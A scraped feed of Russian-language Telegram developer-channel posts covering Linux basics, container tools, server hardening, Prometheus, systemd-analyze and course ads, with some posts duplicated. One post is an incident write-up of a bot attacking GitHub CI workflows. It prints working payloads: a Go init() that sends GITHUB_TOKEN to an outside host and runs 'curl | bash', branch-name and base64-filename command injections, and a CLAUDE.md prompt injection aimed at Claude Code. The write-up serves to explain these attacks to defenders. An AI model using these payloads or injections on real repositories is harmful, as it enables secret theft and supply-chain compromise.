➡️ Архитектура Linux простыми словами
Linux — это не просто система, а набор слоёв, которые работают вместе:
1. 🖥 Hardware
Железо: процессор, память, сеть — всё, что даёт вычислительную мощность
2. ⚙️ Kernel
Ядро системы — управляет ресурсами и напрямую общается с железом
3. 💻 Shell
Интерфейс (например, Bash), который переводит команды пользователя в язык ядра
4. 🛠 Utilities
Системные утилиты (ls, grep, cp) — инструменты для работы с системой
5. 🌐 Applications
Приложения: браузеры, плееры, IDE — то, с чем работает пользователь
📌 Как это работает вместе:
Ты вводишь команду → shell передаёт её ядру → ядро обращается к железу → утилиты/приложения выполняют задачу
Просто, но гениально.
#Linux #DevOps #Backend
Linux — это не просто система, а набор слоёв, которые работают вместе:
1. 🖥 Hardware
Железо: процессор, память, сеть — всё, что даёт вычислительную мощность
2. ⚙️ Kernel
Ядро системы — управляет ресурсами и напрямую общается с железом
3. 💻 Shell
Интерфейс (например, Bash), который переводит команды пользователя в язык ядра
4. 🛠 Utilities
Системные утилиты (ls, grep, cp) — инструменты для работы с системой
5. 🌐 Applications
Приложения: браузеры, плееры, IDE — то, с чем работает пользователь
📌 Как это работает вместе:
Ты вводишь команду → shell передаёт её ядру → ядро обращается к железу → утилиты/приложения выполняют задачу
Просто, но гениально.
#Linux #DevOps #Backend
👍5❤2🔥2
Forwarded from Rust
Вот лишь часть тем, которые сразу зацепили:
- Async в продакшене
- Конкурентность и runtime
- Почему разработчикам на C/C++ стоит переходить на Rust
- no_std — Rust без стандартной библиотеки
- Зачем Rust разработчикам на C#
- Системное программирование и продакшн
- Unsafe Rust - управляемый риск
- Phantom types
- Машины состояний для протоколов
И это только малая часть.
Похоже, туда вложили очень много работы, точно стоит выделить время и пройтись.
github.com/microsoft/RustTraining/
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥3
Forwarded from Golang
🧠 Контейнерный стек - кто за что отвечает
1. Podman
👉 альтернатива Docker без демона, можно запускать контейнеры rootless
🔗 https://podman.io
2. containerd
👉 низкоуровневый runtime, который реально контейнеры
🔗 https://containerd.io
3. CRI-O
👉 runtime специально для Kubernetes
🔗 https://cri-o.io
4. runc
👉 самый низкий уровень (OCI runtime)
🔗 https://github.com/opencontainers/runc
5. Buildah
👉 сборка образов без Docker
🔗 https://buildah.io
6. Kaniko
👉 сборка образов внутри Kubernetes
🔗 https://github.com/GoogleContainerTools/kaniko
7. nerdctl
👉 docker-подобный CLI для containerd
🔗 https://github.com/containerd/nerdctl
8. Rancher Desktop
👉 локальный Kubernetes + контейнеры
🔗 https://rancherdesktop.io
9. OrbStack
👉 быстрый dev environment для macOS
🔗 https://orbstack.dev
10. LXC / LXD
👉 системные контейнеры (почти как VM)
🔗 https://linuxcontainers.org
11. Colima
👉 лёгкая альтернатива Docker Desktop
🔗 https://github.com/abiosoft/colima
12. Lima
👉 лёгкая VM для macOS
🔗 https://github.com/lima-vm/lima
💡 Как это связать
👉 runc → запускает контейнер
👉 containerd / CRI-O → управляют контейнерами
👉 Podman / nerdctl → интерфейс
👉 Buildah / Kaniko → сборка
👉 Rancher / OrbStack / Colima → dev окружение
👉 Lima → VM база
👣 Полезные ресурсы Go 🚀Max
@Golang_google
1. Podman
👉 альтернатива Docker без демона, можно запускать контейнеры rootless
🔗 https://podman.io
2. containerd
👉 низкоуровневый runtime, который реально контейнеры
🔗 https://containerd.io
3. CRI-O
👉 runtime специально для Kubernetes
🔗 https://cri-o.io
4. runc
👉 самый низкий уровень (OCI runtime)
🔗 https://github.com/opencontainers/runc
5. Buildah
👉 сборка образов без Docker
🔗 https://buildah.io
6. Kaniko
👉 сборка образов внутри Kubernetes
🔗 https://github.com/GoogleContainerTools/kaniko
7. nerdctl
👉 docker-подобный CLI для containerd
🔗 https://github.com/containerd/nerdctl
8. Rancher Desktop
👉 локальный Kubernetes + контейнеры
🔗 https://rancherdesktop.io
9. OrbStack
👉 быстрый dev environment для macOS
🔗 https://orbstack.dev
10. LXC / LXD
👉 системные контейнеры (почти как VM)
🔗 https://linuxcontainers.org
11. Colima
👉 лёгкая альтернатива Docker Desktop
🔗 https://github.com/abiosoft/colima
12. Lima
👉 лёгкая VM для macOS
🔗 https://github.com/lima-vm/lima
💡 Как это связать
👉 runc → запускает контейнер
👉 containerd / CRI-O → управляют контейнерами
👉 Podman / nerdctl → интерфейс
👉 Buildah / Kaniko → сборка
👉 Rancher / OrbStack / Colima → dev окружение
👉 Lima → VM база
@Golang_google
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3❤2
This media is not supported in your browser
VIEW IN TELEGRAM
Ты думаешь языки программирования - это просто код?
На самом деле у каждого есть своя родина.
C, Java, Go, Rust - все родились в США.
Python - из Нидерландов.
Kotlin - Россия.
Ruby - Япония.
Scala - Швейцария.
Фактически весь стек, на котором держится современный интернет - это глобальная сборка идей со всего мира.
И чем дальше, тем сильнее это смешивается.
Сохрани, чтобы не забыть, и подпишись на канал - здесь объясняю сложные вещи простым языком
https://youtube.com/shorts/GXVX5fyEBVM?si=YgzKPCw-x0XG3doO
На самом деле у каждого есть своя родина.
C, Java, Go, Rust - все родились в США.
Python - из Нидерландов.
Kotlin - Россия.
Ruby - Япония.
Scala - Швейцария.
Фактически весь стек, на котором держится современный интернет - это глобальная сборка идей со всего мира.
И чем дальше, тем сильнее это смешивается.
Сохрани, чтобы не забыть, и подпишись на канал - здесь объясняю сложные вещи простым языком
https://youtube.com/shorts/GXVX5fyEBVM?si=YgzKPCw-x0XG3doO
❤4👍2👎1
This media is not supported in your browser
VIEW IN TELEGRAM
⚡️ Чек-лист для твоего Linux сервера
Перед тем как ставить проекты и открывать порты - приведи сервер в порядок.
Мой чек-лист на первые 10 минут:
- обнови систему и поставь базовые утилиты
- создай отдельного пользователя и запрети root-login по SSH
- включи firewall (UFW) и открой только нужные порты
- настрой SSH-ключи вместо пароля
- включи авто-обновления безопасности
- зафиксируй таймзону и проверь логи
- поставь fail2ban, чтобы брутфорс не убил сервер за ночь
Это база, которая спасает 90% проблем на проде.
Перед тем как ставить проекты и открывать порты - приведи сервер в порядок.
Мой чек-лист на первые 10 минут:
- обнови систему и поставь базовые утилиты
- создай отдельного пользователя и запрети root-login по SSH
- включи firewall (UFW) и открой только нужные порты
- настрой SSH-ключи вместо пароля
- включи авто-обновления безопасности
- зафиксируй таймзону и проверь логи
- поставь fail2ban, чтобы брутфорс не убил сервер за ночь
Это база, которая спасает 90% проблем на проде.
sudo apt update && sudo apt -y upgrade
sudo apt -y install htop curl wget git ufw fail2ban unattended-upgrades
sudo timedatectl set-timezone Asia/Bangkok
sudo adduser deploy && sudo usermod -aG sudo deploy
sudo ufw allow OpenSSH && sudo ufw allow 80,443/tcp && sudo ufw --force enable
sudo sed -i 's/^#?PasswordAuthentication./
PasswordAuthentication no/' /etc/ssh/sshd_config
sudo sed -i 's/^#?PermitRootLogin./PermitRootLogin no/' /etc/ssh/sshd_config
sudo systemctl restart ssh
sudo dpkg-reconfigure --priority=low unattended-upgrades
sudo systemctl enable --now fail2ban
❤1🔥1
This media is not supported in your browser
VIEW IN TELEGRAM
Prometheus на пальцах: как устроен главный инструмент мониторинга 🔍
Разбираем архитектуру Prometheus без лишней теории - только суть:
1. Discovery & Retrieval
Автоматически находит сервисы (например, в Kubernetes) и начинает собирать с них метрики.
2. Prometheus Server
Главный мозг системы - ходит по таргетам, собирает данные, обрабатывает и управляет хранением.
3. TSDB
Встроенная time-series база, где лежат все метрики - быстро отвечает как на realtime, так и на исторические запросы.
4. Pushgateway
Нужен для короткоживущих задач - они пушат метрики перед завершением.
5. Exporters
Адаптеры для сторонних систем - превращают их метрики в понятный для Prometheus формат.
6. Alertmanager
Следит за правилами и шлёт алерты в Slack, почту и другие каналы.
7. PromQL + Grafana
Пишешь запросы, строишь графики, собираешь дашборды.
https://www.youtube.com/shorts/zix3HbQ96qc
Разбираем архитектуру Prometheus без лишней теории - только суть:
1. Discovery & Retrieval
Автоматически находит сервисы (например, в Kubernetes) и начинает собирать с них метрики.
2. Prometheus Server
Главный мозг системы - ходит по таргетам, собирает данные, обрабатывает и управляет хранением.
3. TSDB
Встроенная time-series база, где лежат все метрики - быстро отвечает как на realtime, так и на исторические запросы.
4. Pushgateway
Нужен для короткоживущих задач - они пушат метрики перед завершением.
5. Exporters
Адаптеры для сторонних систем - превращают их метрики в понятный для Prometheus формат.
6. Alertmanager
Следит за правилами и шлёт алерты в Slack, почту и другие каналы.
7. PromQL + Grafana
Пишешь запросы, строишь графики, собираешь дашборды.
https://www.youtube.com/shorts/zix3HbQ96qc
❤2👍2🔥2
🐧 Лайфхак по Linux, который реально экономит время
Команда find умеет не только искать файлы, но и сразу что-то с ними делать через -exec.
Пример:
$ find ~/ -type f -exec ls -lah {} \;
Что происходит:
find находит все файлы и для каждого запускает ls, показывая права, размер и метаданные.
Как работает -exec:
- exec ls - команда, которую нужно выполнить
- -lah - формат вывода (права, скрытые файлы, размеры)
- {} - подставляет имя каждого найденного файла
- \; - завершает команду (экранируем, иначе shell сломает)
Полезно, когда нужно применить одно действие к куче файлов в разных местах.
Важно:
вместо \; можно использовать +
тогда команда будет применяться сразу к группе файлов — быстрее и эффективнее
Пример с несколькими командами:
$ find . -name "*.txt" -exec wc {} \; -exec du -sh {} \;
Считает слова и сразу показывает размер каждого файла.
Сохрани — это база для работы с файлами в Linux.
Команда find умеет не только искать файлы, но и сразу что-то с ними делать через -exec.
Пример:
$ find ~/ -type f -exec ls -lah {} \;
Что происходит:
find находит все файлы и для каждого запускает ls, показывая права, размер и метаданные.
Как работает -exec:
- exec ls - команда, которую нужно выполнить
- -lah - формат вывода (права, скрытые файлы, размеры)
- {} - подставляет имя каждого найденного файла
- \; - завершает команду (экранируем, иначе shell сломает)
Полезно, когда нужно применить одно действие к куче файлов в разных местах.
Важно:
вместо \; можно использовать +
тогда команда будет применяться сразу к группе файлов — быстрее и эффективнее
Пример с несколькими командами:
$ find . -name "*.txt" -exec wc {} \; -exec du -sh {} \;
Считает слова и сразу показывает размер каждого файла.
Сохрани — это база для работы с файлами в Linux.
👍8🔥4❤1
⚡️ Вы слышали про Rust. Знаете, что он быстрый, безопасный и что за ним будущее.
Осталось одно: сесть и выучить.
Этот курс со Stepik- кратчайший путь от «знаю что такое Rust» до «пишу на нём».
6 модулей, 50 уроков, 143 теста. Ownership, borrowing, traits, async, Tokio, Axum, макросы, WASM — всё разложено по полочкам и закреплено практикой.
Никакого видео на 40 минут ради одной мысли. Подробный текст, много кода, реальные задачи после каждого урока. На выходе — портфолио из 10+ проектов: от CLI-утилит до REST API с базой данных.
48 часов действует скидка 55 процентов: stepik.org/course/269250
Осталось одно: сесть и выучить.
Этот курс со Stepik- кратчайший путь от «знаю что такое Rust» до «пишу на нём».
6 модулей, 50 уроков, 143 теста. Ownership, borrowing, traits, async, Tokio, Axum, макросы, WASM — всё разложено по полочкам и закреплено практикой.
Никакого видео на 40 минут ради одной мысли. Подробный текст, много кода, реальные задачи после каждого урока. На выходе — портфолио из 10+ проектов: от CLI-утилит до REST API с базой данных.
48 часов действует скидка 55 процентов: stepik.org/course/269250
❤4👍1🔥1
За неделю автономный бот атаковал пять крупных репозиториев и каждый раз использовал новый способ. Пейлоад во всех случаях одинаковый —
curl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить.Атака 1. avelino/awesome-go — кража токена через
Go init()Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка.
Бот добавил функцию
init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя.В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад:
func init() {
_ = exec.Command("bash", "-c",
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` +
`https://recv.hackmoltrepeat.com/ &&` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}
Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами
contents: write и pull-requests: write ушёл на внешний сервер.Атака 2. project-akri/akri — прямая инъекция в shell-скрипт
Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang:
#!/usr/bin/env bash
curl -sSfL https://hackmoltrepeat.com/molt | bash
check_file_version()
Никакой обфускации. Потом написал комментарий
/version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно.Проблема в том, что воркфлоу не проверял
author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода.Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки
Сам PR был тривиальным — одна правка в
devcontainer.json. Атака была в имени ветки:dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)Bash разворачивает
{curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду:
run: |
echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref
Это превращалось в:
echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ...
Bash выполнял команду внутри
$(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды.Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла
Бот создал файл с именем, содержащим закодированную команду:
documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md
При декодировании base64-строка разворачивается в
curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда.Атака 5. ambient-code/platform — prompt injection в CLAUDE.md
Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR.
Воркфлоу запускал Claude Code с правами записи и токеном
CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md.Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow.
Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4
🚀 Мощный панель управления для игровых серверов
MCSManager — это современная веб-панель для управления серверами Minecraft, Steam и другими играми. Она позволяет легко управлять несколькими серверами с одного интерфейса, предлагая надежную систему разрешений для пользователей и поддержку многоязычности.
🚀 Основные моменты:
- Быстрая установка игровых серверов с помощью встроенного магазина приложений.
- Поддержка множества игр, включая Terraria и Project Zomboid.
- Настраиваемый интерфейс с возможностью перетаскивания элементов.
- Поддержка Docker и коммерческого хостинга.
- Легковесная архитектура на TypeScript.
📌 GitHub: https://github.com/MCSManager/MCSManager
MCSManager — это современная веб-панель для управления серверами Minecraft, Steam и другими играми. Она позволяет легко управлять несколькими серверами с одного интерфейса, предлагая надежную систему разрешений для пользователей и поддержку многоязычности.
🚀 Основные моменты:
- Быстрая установка игровых серверов с помощью встроенного магазина приложений.
- Поддержка множества игр, включая Terraria и Project Zomboid.
- Настраиваемый интерфейс с возможностью перетаскивания элементов.
- Поддержка Docker и коммерческого хостинга.
- Легковесная архитектура на TypeScript.
📌 GitHub: https://github.com/MCSManager/MCSManager
❤4
Представьте: через четыре месяца вы открываете чужой .NET-проект и читаете его как книгу.
IServiceCollection не вызывает ступора.
async Task<IActionResult> пишется на автомате. Вы точно знаете, почему EF Core сгенерировал именно такой SQL - и как переписать запрос, чтобы он летал.Это не фантазия. Это результат после 16 модулей, в которых каждая концепция объясняется через код и закрепляется практикой.
ООП, SOLID, LINQ, async/await, DI, EF Core, ASP.NET Core, Docker, Kubernetes - всё, что казалось магией, станет рабочим инструментом.А бонусом - портфолио проектов: от CLI-утилит и REST API до собственного SaaS с multi-tenancy, JWT и деплоем в Kubernetes под TLS.
Скидка - 58% доступна 48 часов: https://stepik.org/a/282984/
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3👍2🔥2
Быстрый анализ загрузки через systemd-analyze
На сервере все ок: железо норм, диски норм, но после ребута он думает о смысле жизни секунд 40. Обычно лезешь сразу в сервисы, логи и смотришь что запустилось, а что еще нет. Но иногда юнит не падает, а просто висит в starting и ждёт сеть, DNS, диск или маунт.
Что делает systemd-analyze
systemd-analyze вскрывает сколько заняло ядро, сколько занял userspace, и какие юниты съели время.
Кто тормозит
Она покажет список юнитов, отсортированный по времени старта. Важно: это не всегда время выполнения, а то, сколько юнит считался стартующим. Но обычно виновники видны сразу.
Дерево зависимостей
Когда юнит тормозит, часто причина не в нём, а в том, что он ждёт сеть, диск, другой сервис.
Эта штука показывает цепочку, что блокировало путь до default.target. Видно кто кого ждал и где пробка.
График загрузки для красивого разбора
Если хочется визуально показать коллеге почему оно долго стартует, есть SVG-таймлайн.
Открываешь boot.svg в браузере и видишь полосочки, кто и когда стартовал.
Вывод
systemd-analyze это твой способ увидеть кто, где и почему тормозит загрузку и кто кого ожидает.
На сервере все ок: железо норм, диски норм, но после ребута он думает о смысле жизни секунд 40. Обычно лезешь сразу в сервисы, логи и смотришь что запустилось, а что еще нет. Но иногда юнит не падает, а просто висит в starting и ждёт сеть, DNS, диск или маунт.
Что делает systemd-analyze
systemd-analyze вскрывает сколько заняло ядро, сколько занял userspace, и какие юниты съели время.
Кто тормозит
systemd-analyze blame
Она покажет список юнитов, отсортированный по времени старта. Важно: это не всегда время выполнения, а то, сколько юнит считался стартующим. Но обычно виновники видны сразу.
Дерево зависимостей
Когда юнит тормозит, часто причина не в нём, а в том, что он ждёт сеть, диск, другой сервис.
systemd-analyze critical-chain
Эта штука показывает цепочку, что блокировало путь до default.target. Видно кто кого ждал и где пробка.
График загрузки для красивого разбора
Если хочется визуально показать коллеге почему оно долго стартует, есть SVG-таймлайн.
systemd-analyze plot > boot.svg
Открываешь boot.svg в браузере и видишь полосочки, кто и когда стартовал.
Вывод
systemd-analyze это твой способ увидеть кто, где и почему тормозит загрузку и кто кого ожидает.
❤3👍2🔥2
Если взять случайный крейт с crates.io, поставить на него Miri и подождать минут пять, шанс увидеть красное сообщение про undefined behavior где-то в зависимостях стремится к единице. Чаще всего виноват не автор хитрого unsafe-блока ради скорости, а вполне обычная библиотека, которой пять лет, у которой звёзд на гитхабе больше, чем у твоего пет-проекта строчек кода, и которая всё это время спокойно лежит в продакшене.
Самое неприятное в этой истории то, что компилятор ничего не скажет. Тесты пройдут. Бенчмарки покажут красивые наносекунды. А потом LLVM 19 обновится до LLVM 20, поменяет один проход оптимизации, и твой сервис начнёт ронять прод по понедельникам. Чтобы понять, почему так происходит, придётся залезть в три темы, которые в обычной жизни Rust-разработчика не встречаются: pointer provenance, Stacked Borrows и пришедшую им на смену Tree Borrows.
https://uproger.com/tvoj-kod-na-rust-kompiliruetsya-prohodit-testy-i-yavlyaetsya-ub-ty-prosto-ob-etom-ne-znaesh/
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3👍2🔥2
Практическое руководство по росту в C#-разработке. Материал собран для тех, кто хочет получить инженерную глубину, а не просто накликать CRUD по туториалам.
Здесь последовательность изучения, лучшие практики, ресурсы и трезвый разбор того, как работать с ИИ-инструментами и оставаться востребованным.
https://github.com/Develp10/Csharp_Roadmap/
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1